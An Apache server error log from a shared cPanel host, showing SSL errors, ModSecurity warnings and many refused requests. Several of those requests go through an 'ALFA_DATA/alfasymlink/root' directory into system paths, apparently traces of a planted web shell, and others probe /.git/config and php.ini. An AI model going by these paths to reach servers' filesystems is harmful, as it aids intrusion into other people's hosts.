[Sat Oct 24 08:13:50.133328 2026] [ssl:error] [pid 2635681:tid 2635681] (70014)End of file found: [client 54.87.62.248:25249] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:13:52.452544 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 185.191.171.11:12634] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/objects_partial
[Sat Oct 24 08:13:58.135056 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 52.203.65.83:41503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:14:10.694025 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 54.92.171.106:57545] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS0/line
[Sat Oct 24 08:14:18.139938 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 54.243.63.52:61232] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:14:22.370082 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 52.6.5.24:61711] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/8250_mid/remove_id
[Sat Oct 24 08:14:24.247180 2026] [security2:error] [pid 2625330:tid 2625330] [client 43.153.15.51:40796] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "atyhIPMnT_rHlxLKOWDnEAAAAAc"], referer: http://sherwinpinturas.com
[Sat Oct 24 08:14:24.302668 2026] [authz_core:error] [pid 2625330:tid 2625330] [client 43.153.15.51:40796] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sat Oct 24 08:14:26.276086 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 35.173.18.61:37778] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:14:30.143731 2026] [ssl:error] [pid 2635687:tid 2635687] (22)Invalid argument: [client 35.170.205.140:24941] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:14:36.131963 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.207:13566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/partial
[Sat Oct 24 08:14:54.252741 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 34.236.41.241:8321] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:14:58.209888 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.209.174.110:6062] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:15:10.728033 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 85.208.96.207:56190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/partial
[Sat Oct 24 08:15:22.338120 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.93.211.16:61577] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:15:30.214407 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.205.213.231:58155] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:15:38.253347 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 18.209.137.234:3089] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:15:50.138059 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.144.185.255:1453] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:15:51.175927 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 185.191.171.12:24086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:15:54.247597 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 98.82.39.241:42047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:16:05.822248 2026] [security2:error] [pid 2635677:tid 2635677] [client 43.153.10.13:58036] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "atyhhYWurp-t0SwAQgRpQgAAAAQ"]
[Sat Oct 24 08:16:05.823423 2026] [authz_core:error] [pid 2635677:tid 2635677] [client 43.153.10.13:58036] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 08:16:18.167037 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.226.89.140:29231] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:16:22.136077 2026] [ssl:error] [pid 2627309:tid 2627309] (5)Input/output error: [client 52.22.64.232:29627] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:16:30.144943 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 18.232.11.247:24535] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:27/subsystem/tty22/subsystem/ttyS2/io_type
[Sat Oct 24 08:16:45.561861 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.12:26216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/order
[Sat Oct 24 08:17:30.225296 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 52.71.218.25:57974] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:1b/eject
[Sat Oct 24 08:17:34.127861 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.71.46.142:19689] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:17:46.165346 2026] [ssl:error] [pid 2607843:tid 2607843] (5)Input/output error: [client 23.23.103.31:3683] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:17:50.232263 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.194.95.99:25572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:17:58.336178 2026] [ssl:error] [pid 2625330:tid 2625330] (5)Input/output error: [client 52.203.237.170:39459] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:18:02.196572 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 184.73.195.18:48669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:18:06.239261 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 18.214.186.220:50085] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:18:10.234186 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 44.195.50.71:57053] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:18:18.211652 2026] [ssl:error] [pid 2607843:tid 2607843] (5)Input/output error: [client 3.220.70.171:8248] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:18:38.372912 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 18.214.251.19:64876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:18:41.471581 2026] [core:crit] [pid 2635677:tid 2635677] (13)Permission denied: [client 66.132.159.102:50636] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 08:18:43.241310 2026] [core:crit] [pid 2609012:tid 2609012] (13)Permission denied: [client 66.132.159.102:50644] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 08:18:46.461864 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.214.186.220:16106] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:18:48.069838 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 85.208.96.209:58860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:18:54.372305 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 44.207.207.36:50359] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:18:59.777030 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.28.204.82:53854] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:19:10.257375 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 35.174.141.243:64547] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:19:18.418971 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.85.7.119:39882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:19:25.280836 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 85.208.96.204:51438] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-64/shrink
[Sat Oct 24 08:19:34.902529 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.210:35238] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/mailhelo
[Sat Oct 24 08:19:58.379874 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 107.22.208.39:36089] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:20:02.326464 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 184.73.167.217:46850] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:20:14.378187 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.144.185.255:32692] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:20:22.436787 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.227.180.70:46713] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:20:26.545265 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 23.21.175.228:38840] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:20:30.304311 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 23.23.103.31:13882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:20:31.474844 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.14:10416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/red_zone
[Sat Oct 24 08:20:36.100671 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.210:41006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/total_objects
[Sat Oct 24 08:20:37.416100 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 85.208.96.195:53932] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:20:42.340664 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 100.29.34.97:17885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:21:22.299580 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.94.40.182:52798] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:21:26.643308 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.147.80.137:64361] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:21:38.460146 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.232.11.247:17533] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:22:06.399379 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.80.185.200:65526] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:22:10.725865 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 52.70.123.241:17899] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:05.0/subsystem/slots/18/module/uevent
[Sat Oct 24 08:22:18.358112 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.204.150.196:22084] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:22:30.542761 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 34.193.2.57:52999] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/acpi-fan/uevent
[Sat Oct 24 08:22:34.351952 2026] [ssl:error] [pid 2635677:tid 2635677] (5)Input/output error: [client 52.203.65.83:13339] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:22:38.638708 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.89.176.255:26316] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:22:46.496016 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.203.111.15:5822] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:22:58.844707 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 54.84.147.79:64291] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/piix4_smbus/remove_id
[Sat Oct 24 08:23:02.438637 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.94.157.25:29170] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:23:10.956117 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 185.191.171.9:19538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/slabs_cpu_partial
[Sat Oct 24 08:23:30.899245 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.82.40.168:22395] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:23:54.641662 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 44.205.192.249:10676] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:24:00.997270 2026] [security2:error] [pid 2609012:tid 2609012] [client 43.131.45.213:48996] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_hidalgo_1.html"] [unique_id "atyjYHUcfBNBYE9xHAJBFwAAAAA"]
[Sat Oct 24 08:24:07.731200 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 85.208.96.201:16718] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:24:07.962514 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.233.219.155:2603] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:24:10.880951 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.212.131.50:28474] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:24:19.252976 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 23.23.104.107:12662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:24:26.510475 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.205.170.13:43357] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:24:31.783138 2026] [security2:error] [pid 2627273:tid 2627273] [client 89.248.172.11:32014] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/"] [unique_id "atyjfxdOhHN-18IxgZKqygAAAAY"]
[Sat Oct 24 08:24:34.619371 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.197.82.195:62699] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:24:45.480559 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 85.208.96.212:40076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/cache_dma
[Sat Oct 24 08:24:48.798346 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.14:32492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/usersize
[Sat Oct 24 08:24:50.527407 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.156.248.117:44172] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:24:52.945807 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.1:42358] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:67/line
[Sat Oct 24 08:24:55.552472 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 18.214.124.6:16143] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/drivers/battery/unbind
[Sat Oct 24 08:24:58.533736 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.22.64.232:58363] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:25:06.799674 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 34.192.125.239:53829] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:25:14.722963 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.21.62.139:58634] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:25:26.763776 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.192.125.239:2052] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:25:46.602689 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.205.222.214:2775] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:25:50.923356 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.213.106.226:1999] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:26:26.670509 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 54.156.55.147:53210] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:26:30.674832 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.221.156.96:20509] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:26:34.740185 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.203.152.231:13969] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:27:10.928815 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.205.213.231:5193] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:27:16.056933 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.222.85.38:10791] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:27:26.750901 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.0.218.219:40499] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:27:30.977076 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 54.204.62.163:15885] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/cpu1/subsystem/drivers/processor/cpu0/driver/cpu1/crash_notes
[Sat Oct 24 08:27:34.909474 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.204.150.196:46578] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:27:39.062684 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.217.171.106:60921] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:27:39.155175 2026] [security2:error] [pid 2625330:tid 2625330] [client 85.208.96.201:43814] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib64/libsysfs.so.2"] [unique_id "atykO_MnT_rHlxLKOWDnLQAAAAc"]
[Sat Oct 24 08:27:39.155212 2026] [security2:error] [pid 2625330:tid 2625330] [client 85.208.96.201:43814] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib64/libsysfs.so.2"] [unique_id "atykO_MnT_rHlxLKOWDnLQAAAAc"]
[Sat Oct 24 08:27:42.808579 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 54.80.185.200:53861] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/reclaim_account
[Sat Oct 24 08:27:46.883378 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 3.217.82.254:10192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1d/eject
[Sat Oct 24 08:27:51.179264 2026] [security2:error] [pid 2635677:tid 2635677] [client 54.163.136.244:54871] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/module/"] [unique_id "atykR4Wurp-t0SwAQgRpWgAAAAQ"]
[Sat Oct 24 08:27:51.179312 2026] [security2:error] [pid 2635677:tid 2635677] [client 54.163.136.244:54871] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/module/"] [unique_id "atykR4Wurp-t0SwAQgRpWgAAAAQ"]
[Sat Oct 24 08:27:54.886112 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 35.174.253.85:33961] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:28:11.152008 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.204.71.8:40815] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:28:23.237278 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.232.82.72:12618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:28:43.167516 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.83.240.58:52648] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:28:47.805474 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.235.215.92:29554] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:28:49.227234 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 185.191.171.19:41510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/hwcache_align
[Sat Oct 24 08:28:51.130400 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 100.29.107.38:4702] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:28:54.209072 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 85.208.96.210:45598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/destroy_by_rcu
[Sat Oct 24 08:29:03.306422 2026] [ssl:error] [pid 2627273:tid 2627273] (5)Input/output error: [client 18.205.91.101:44560] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:29:19.071867 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 107.20.224.184:18287] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:29:26.993196 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 52.0.105.244:46266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/LNXPWRBN:00/driver/bind
[Sat Oct 24 08:29:47.452085 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 35.153.86.200:25606] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/pvpanic/unbind
[Sat Oct 24 08:29:51.106992 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 44.218.6.93:53463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:29:55.284942 2026] [ssl:error] [pid 2635677:tid 2635677] (5)Input/output error: [client 3.89.176.255:1894] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:30:03.123833 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.194.95.99:30485] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:30:03.917330 2026] [security2:error] [pid 2627273:tid 2627273] [client 35.237.81.236:26476] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atykyxdOhHN-18IxgZKq1gAAAAY"]
